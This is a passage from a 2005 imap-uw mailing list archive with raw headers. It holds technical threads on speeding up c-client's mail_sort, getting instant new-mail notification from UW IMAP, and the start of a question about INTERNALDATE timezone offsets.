Content-Transfer-Encoding: 7bit Hello,

    I'm using the c-client library as part of a client application, and was hoping for some advice on how I might change the way I'm using it to improve performance.  Specifically, I've run into some slowdowns when I use the mail_sort function to retrieve a sorted list of message UID's from a large mailbox (several thousand messages).  What appears to be happening is that the mail_sort is dutifully executing an IMAP search, but subsequently calling what appears to be the equivalent of a mail_fetchfast on each message individually:

    0000000e SEARCH UNDELETED UNSEEN NOT (HEADER X-Priority 1)
    * SEARCH 26 27 28 29 30 31 32 <...snipped over 1000 UID's ...> 1205 1206 1207 1208
    0000000e OK SEARCH completed.
    0000000f FETCH 26 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 26 FETCH (UID 46 INTERNALDATE "10-Aug-2005 21:33:47 -0600" RFC822.SIZE 20687 FLAGS ())
    0000000f OK FETCH completed.
    00000010 FETCH 27 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 27 FETCH (UID 47 INTERNALDATE "10-Aug-2005 21:33:47 -0600" RFC822.SIZE 20687 FLAGS ())
    00000010 OK FETCH completed.
    00000011 FETCH 28 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 28 FETCH (UID 48 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20685 FLAGS ())
    00000011 OK FETCH completed.
    00000012 FETCH 29 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 29 FETCH (UID 49 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20686 FLAGS ())
    00000012 OK FETCH completed.
    00000013 FETCH 30 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 30 FETCH (UID 50 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20687 FLAGS ())
    00000013 OK FETCH completed.
    00000014 FETCH 31 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 31 FETCH (UID 51 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20687 FLAGS ())
    00000014 OK FETCH completed.
    00000015 FETCH 32 (UID INTERNALDATE RFC822.SIZE FLAGS)
    * 32 FETCH (UID 52 INTERNALDATE "10-Aug-2005 21:33:48 -0600" RFC822.SIZE 20687 FLAGS ())
    00000015 OK FETCH completed.
    <... etc etc ...>

    Any suggestions or advice on other calls or perhaps different cache settings I could try to speed this up a bit?  I figure there must be some way to either pre-fetch the internaldate (which I'm sorting on) or at least batch the fetch calls up somehow.

    Thanks!
    Andrew

    --===============1961171501== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1961171501==-- From pinedev@shivax2.cac.washington.edu Fri Aug 19 14:14:07 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Aug 2005 14:14:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7JLE76R010959 for ; Fri, 19 Aug 2005 14:14:07 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JLE4uw031080 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 19 Aug 2005 14:14:04 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JLDkud014656; Fri, 19 Aug 2005 14:13:46 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JKxiX2012615 for ; Fri, 19 Aug 2005 13:59:44 -0700 Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7JKxiif024978 for ; Fri, 19 Aug 2005 13:59:44 -0700 Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 19 Aug 2005 13:59:44 -0700 X-IronPort-AV: i="3.96,126,1122879600"; d="scan'208"; a="333974484:sNHT31652580" Received: from xbh-sjc-211.amer.cisco.com (xbh-sjc-211.cisco.com [171.70.151.144]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j7JKxZQQ001818; Fri, 19 Aug 2005 13:59:40 -0700 (PDT) Received: from xfe-sjc-211.amer.cisco.com ([171.70.151.174]) by xbh-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Fri, 19 Aug 2005 13:59:39 -0700 Received: from [10.94.178.108] ([10.94.178.108]) by xfe-sjc-211.amer.cisco.com with Microsoft SMTPSVC(6.0.3790.211); Fri, 19 Aug 2005 13:59:39 -0700 Message-ID: <4306483A.2080308@cisco.com> Date: Fri, 19 Aug 2005 14:59:38 -0600 From: Andrew Biggs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] ideas on improving efficiency of calls to mail_sort? References: <430559B6.8010303@cisco.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 19 Aug 2005 20:59:39.0330 (UTC) FILETIME=[E9EF8A20:01C5A500] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-Mailman-Approved-At: Fri, 19 Aug 2005 14:13:45 -0700 Cc: c-client@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Excellent suggestions, thanks Mark. You're correct that I've been working mainly from UID's, so I'll see if I can move away from that a bit to try and improve the situation. And yeah, Exchange2K3 doesn't seem to support SORT :-(. Andrew (and apologies for spamming the mailer with multiple copies of the original post) Mark Crispin wrote: > Hello - > > The c-client mailing list has been renamed to the imap-uw mailing list. > > The fundamental problem is that your server does not implement the > IMAP SORT extension. You would not have this problem with a server > that offers SORT. > > Next, what options are you giving to mail_sort()? If you are setting > SE_UID, then the code does not (can not) do any prefetching. This is > because c-client's cache is completely implemented by message sequence > number, not by UID. In general, options such as SE_UID and FT_UID > should be avoided, especially when doing multiple message operations. > > Instead, get the sequence numbers, and then afterwards translate them > to UIDs (if that is what you want) via mail_uid(). This may sound > backwards to someone who is thinking in terms of UIDs, but trust me, > c-client cache will be happier and will reward you for your cooperation. > > You may find the use of sequence numbers to be beneficial in other > ways as well; use UIDs just for synchronization and do everything else > with sequence numbers. c-client will reward you for that as well. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Aug 21 19:13:36 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 21 Aug 2005 19:13:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7M2DadG015164 for ; Sun, 21 Aug 2005 19:13:36 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2DZbP009022 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 21 Aug 2005 19:13:35 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2DIvM001766; Sun, 21 Aug 2005 19:13:18 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2DH81001758 for ; Sun, 21 Aug 2005 19:13:17 -0700 Received: from cruppie.aaronwl.com (cdm-68-228-0-128.laft.cox-internet.com [68.228.0.128]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2DEk8007428 for ; Sun, 21 Aug 2005 19:13:15 -0700 Received: from [70.182.4.169] (cdm-70-182-4-169.laft.cox-internet.com [70.182.4.169]) by cruppie.aaronwl.com (8.12.11/8.12.11) with ESMTP id j7M2DEne001342 for ; Sun, 21 Aug 2005 21:13:14 -0500 Message-ID: <430934BB.2000509@aaronwl.com> Date: Sun, 21 Aug 2005 21:13:15 -0500 From: "Aaron W. LaFramboise" User-Agent: Mozilla Thunderbird 0.7.3 (Windows/20040803) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Instantaneous Notification of Received Mail X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I am seeking advice on how to cause my IMAP client to give me instantaneous (or as fast as possible) notification of newly received email. Firstly, let me sidestep the philosophical issue. I understand that instant email delivery can be a major time-waster in the modern workflow. However, for a select few of my correspondents, such as family and close friends, I would prefer that I receive communications from them immediately, as the email may contain time-critical information, and they may be unable to reach me otherwise. I hope this rationale legitimizes my request. I receive about a thousand emails a day, which is mostly mailing list traffic, spam, and other bulk email. Of this, I need to read about a dozen messages, and perhaps briefly scan a few dozen more. I am able to do this without wasting huge amounts of time due to extensive mail filters and fast threading features in my mail reader. Due to the nature of IMAP, filtering needs to be performed server-side—otherwise a heterogeneous and error-prone system of client-side filters would need to be deployed at each location I read mail for each client to benefit from filtering. Unfortunately, I have almost 100 different folders, many which have upwards of 30K messages in them. As I understand it, the ordinary IMAP notification mechanism is only able to receive notifications from a single selected folder. So, as far as I know, this rules out automatic notification from the IMAP server. Polling is also unacceptable due to the large size of many of the mailboxes, the largest of which takes UW IMAP more than a minute to select, even in MBX format. Is this a common problem? If so, how is it handled? If not, why not? The best hypothetical solution I have thought of so far would involve a hackish alteration to the mailbox driver. When a mailbox was selected, a cache file containing vital information about the mailbox could be created. When the mailbox was selected again, the information could be quickly regurgitated from the cache without even opening the mailbox. When the mailbox was written to, the cache file would be deleted. This would allow very rapid polling, since dispatching each poll request would take a negligible amount of time. Has anything like this been tried? In fact, I am puzzled as to why the current preferred formats do not maintain some sort of rapid-lookup index that would be a superset of such caching functionality. My setup is presently composed of a Mozilla Thunderbird 0.7.3 client running on Windows XP SP2 on a Pentium 4, connecting via IMAP to UW IMAP 2004e running on Linux 2.6 on a Pentium. The mailboxes are in MBX format, on a local ReiserFS filesystem. sendmail delivers email which is filtered by procmail and sent to mailboxes with dmail. Aaron W. LaFramboise _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Aug 21 19:43:26 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 21 Aug 2005 19:43:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7M2hPc9016202 for ; Sun, 21 Aug 2005 19:43:25 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2hOSI010071 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 21 Aug 2005 19:43:25 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2hAZE003140; Sun, 21 Aug 2005 19:43:10 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2h8qh003131 for ; Sun, 21 Aug 2005 19:43:08 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2h7E0032303 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 21 Aug 2005 19:43:08 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M2h7vT025738 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 21 Aug 2005 19:43:07 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7M2gtZS001655 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 21 Aug 2005 19:43:06 -0700 Date: Sun, 21 Aug 2005 19:42:55 -0700 (PDT) From: Mark Crispin To: "Aaron W. LaFramboise" Subject: Re: [Imap-uw] Instantaneous Notification of Received Mail In-Reply-To: <430934BB.2000509@aaronwl.com> Message-ID: References: <430934BB.2000509@aaronwl.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Aaron - Your needs are common ones. Unfortunately, for the most part, they remain unfufilled needs; but help is on the way (slowly...). One realization that took a long time coming was that the proper place to perform notification is not in message *access* (which is what IMAP does), but rather in message *delivery*. On many systems, the mail delivery software has no relationship to the POP or IMAP server software. Often, the software is from entirely different vendors. Since the IMAP server software is often not part of the message delivery process, it has no good way of knowing that new messages have been delivered other than by polling. As you have noted, client-initiated polling is not cheap. It is not substantially cheaper by specifying that IMAP should notify, and giving it no other way than to do the work than by polling (albeit under the covers where the client doesn't see it happening). Not surprisingly, IMAP server developers who face this problem are not enthusiastic about IMAP being given that mandate. This does not necessary mean that there could not be some facility in IMAP to request a notification, and perhaps even to receive the notification and pass it on to the client. What it means is that there needs to be a new service, which the developers of mail delivery software will feel encouraged to implement. Roughly, this new service would work as follows. When a message is delivered, the facts of the delivery are passed to the notification service which determines if there are any requests to be notified of such a message (you don't want to spam someone with notification if he hasn't asked for them!). If there is such a request, the notification service transmits a notification to the requesting entity. An IMAP client could be the "requesting entity". Then again, the middleman could be eliminated by having the user's application request the notification itself (maybe you want notifications but don't want to keep your IMAP client running all the time). Personally, I feel that it is best to have IMAP out of the loop, but I'm not adamant on that point. Of course, in your environment, you're using dmail so all the code is under my control. However, that would only provide for notifications for people who use both dmail and UW imapd. Ideally, we would have a standard that would not require a single vendor's (even if it is UW) solution. As you noticed, none of the current mailbox formats used by UW imapd are particular ameniable to doing poll-type notification. At least in part this is due to legacy. However, with delivery-initiated notifications, there is no need to do polling or to have special format considerations for notification. I actually developed a prototype version of a protocol and software that did this, but that project got shelved. More recently, the IETF Lemonade Working Group has considered the question of notification, and a hack (RFC 4146) to do this has actually been published as an RFC. They are actually chartered to do this work, see item 4 of: http://www.ietf.org/html.charters/lemonade-charter.html -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Aug 21 22:23:15 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 21 Aug 2005 22:23:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7M5NEIK022142 for ; Sun, 21 Aug 2005 22:23:15 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M5NEsq016875 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 21 Aug 2005 22:23:14 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M5MwN0012189; Sun, 21 Aug 2005 22:22:58 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M5Mvrm012179 for ; Sun, 21 Aug 2005 22:22:57 -0700 Received: from cruppie.aaronwl.com (cdm-68-228-0-128.laft.cox-internet.com [68.228.0.128]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7M5Mu0j029275 for ; Sun, 21 Aug 2005 22:22:56 -0700 Received: from [70.182.4.169] (cdm-70-182-4-169.laft.cox-internet.com [70.182.4.169]) by cruppie.aaronwl.com (8.12.11/8.12.11) with ESMTP id j7M5Mplh001574; Mon, 22 Aug 2005 00:22:52 -0500 Message-ID: <4309612C.9070703@aaronwl.com> Date: Mon, 22 Aug 2005 00:22:52 -0500 From: "Aaron W. LaFramboise" User-Agent: Mozilla Thunderbird 0.7.3 (Windows/20040803) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] Instantaneous Notification of Received Mail References: <430934BB.2000509@aaronwl.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark Crispin wrote: > As you noticed, none of the current mailbox formats used by UW imapd are > particular ameniable to doing poll-type notification. At least in part > this is due to legacy. However, with delivery-initiated notifications, > there is no need to do polling or to have special format considerations > for notification. I still think it would be very useful to have support for a state where results are returned very quickly (near constant time with respect to number of messages or size of mailbox) in the case that 'nothing has changed since last time.' Even with a notification mechanism, wholescale synchronization must happen every now and then, such as whenever the mail client is started. For users like myself who have many mail folders that may not have changed since the last access, it would be nice if this initial synchronization could happen quickly, rather than the 3-4 minutes it takes me. (In my case, this time is solely spent reading MBX files; there is no appreciable network latency or bandwidth limitations.) > I actually developed a prototype version of a protocol and software that > did this, but that project got shelved. More recently, the IETF > Lemonade Working Group has considered the question of notification, and > a hack (RFC 4146) to do this has actually been published as an RFC. > They are actually chartered to do this work, see item 4 of: > http://www.ietf.org/html.charters/lemonade-charter.html I suppose there is also the classical biff/comsat mechanism. I guess my next step is to see what it takes to get Mozilla to accept new mail notifications from external sources (other than polling). It seems like it would be easy enough to have procmail, or whatever, generate a notification of some sort when it delivers mail, before passing off to dmail. Aaron W. LaFramboise _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Aug 22 09:06:10 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 22 Aug 2005 09:06:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7MG6Aa1019451 for ; Mon, 22 Aug 2005 09:06:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7MG69pi019529 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 22 Aug 2005 09:06:09 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7MG5ekX026054; Mon, 22 Aug 2005 09:05:40 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7MG5dlg026045 for ; Mon, 22 Aug 2005 09:05:39 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7MG5crB001659 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 22 Aug 2005 09:05:39 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7MG5cNo011863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 22 Aug 2005 09:05:38 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7MG5c2w027923 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 22 Aug 2005 09:05:38 -0700 Date: Mon, 22 Aug 2005 09:05:39 -0700 (Pacific Daylight Time) From: Mark Crispin To: "Aaron W. LaFramboise" Subject: Re: [Imap-uw] Instantaneous Notification of Received Mail In-Reply-To: <4309612C.9070703@aaronwl.com> Message-ID: References: <430934BB.2000509@aaronwl.com> <4309612C.9070703@aaronwl.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 22 Aug 2005, Aaron W. LaFramboise wrote: > I still think it would be very useful to have support for a state where > results are returned very quickly (near constant time with respect to number > of messages or size of mailbox) in the case that 'nothing has changed since > last time.' Even with a notification mechanism, wholescale synchronization > must happen every now and then, such as whenever the mail client is started. This is already being addressed by other portions of the IMAP protocol: the \Marked and \UnMarked mailbox flags, the STATUS command, and the proposed CONDSTORE extension. It's important to recognize that there is no disagreement over the desirability of such capabilities. It's a question of what is feasible to accomplish, given a number of technical and non-technical constraints (some of which are not always obvious). > For users like myself who have many mail folders that may not have changed > since the last access, it would be nice if this initial synchronization could > happen quickly, rather than the 3-4 minutes it takes me. (In my case, this > time is solely spent reading MBX files; there is no appreciable network > latency or bandwidth limitations.) The mbx format, while a substantial improvement over traditional Unix format, has likely reached the limits of its scalability in today's world. You are correct that a new format is needed, one which has open time that is not dependent upon the size of the file (as traditional Unix format is) or the number of messages (as mbx format it). > I suppose there is also the classical biff/comsat mechanism. I guess my next > step is to see what it takes to get Mozilla to accept new mail notifications > from external sources (other than polling). It seems like it would be easy > enough to have procmail, or whatever, generate a notification of some sort > when it delivers mail, before passing off to dmail. This is indeed the right direction. Your message has encouraged me to dust off my work from three years ago and call it to the attention of the IETF Lemonade Working Group which is working on this very issue (but is still in discussion stage on it). Thank you for getting the ball rolling again, and please feel free to send reminders to nudge it along periodically. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 26 10:19:43 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Aug 2005 10:19:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7QHJhWY025183 for ; Fri, 26 Aug 2005 10:19:43 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHJge0031763 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Aug 2005 10:19:42 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHJNuE028078; Fri, 26 Aug 2005 10:19:24 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHJ7EK028057 for ; Fri, 26 Aug 2005 10:19:07 -0700 Received: from webmail-1.priv.cc.uic.edu (webmail-1.cc.uic.edu [128.248.155.180]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7QHJ6TC021293 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 26 Aug 2005 10:19:07 -0700 Received: from jimo.uic.edu (jimo.cc.uic.edu [128.248.5.52]) (authenticated bits=0) by webmail-1.priv.cc.uic.edu (8.12.10/8.12.10) with ESMTP id j7QHJ3vK009112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Fri, 26 Aug 2005 12:19:06 -0500 Message-Id: <6.2.3.0.2.20050826120742.03780a90@mailserv.uic.edu> X-Mailer: QUALCOMM Windows Eudora Version 6.2.3.0 Date: Fri, 26 Aug 2005 12:19:02 -0500 To: imap-uw@u.washington.edu From: "Jim O'Leary" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='IP_HTTP_ADDR 0, __ANY_QUALCOMM_MUA 0, __C230066_P5 0, __CT 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] help with INTERNALDATE weirdness? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Our Outlook users (few, thank goodness) always complain that the timestamps in their inboxes are showing the wrong GMT offset. We've worked around it for a couple of years by telling them to reconfigure Outlook to display the "Sent Date" instead of the "Received Date", assuming Outlook was misinterpreting some SMTP header or the RFC822 "Date:" field. Recently a student employee pointed out that the problem may be that our UW-IMAP server is returning incorrect information for the INTERNALDATE flag. I've pasted an example conversation below. The mail was actually sent at "10:56:00 -0500" today, but the INTERNALDATE response shows "15:56:46 -0500" which would be 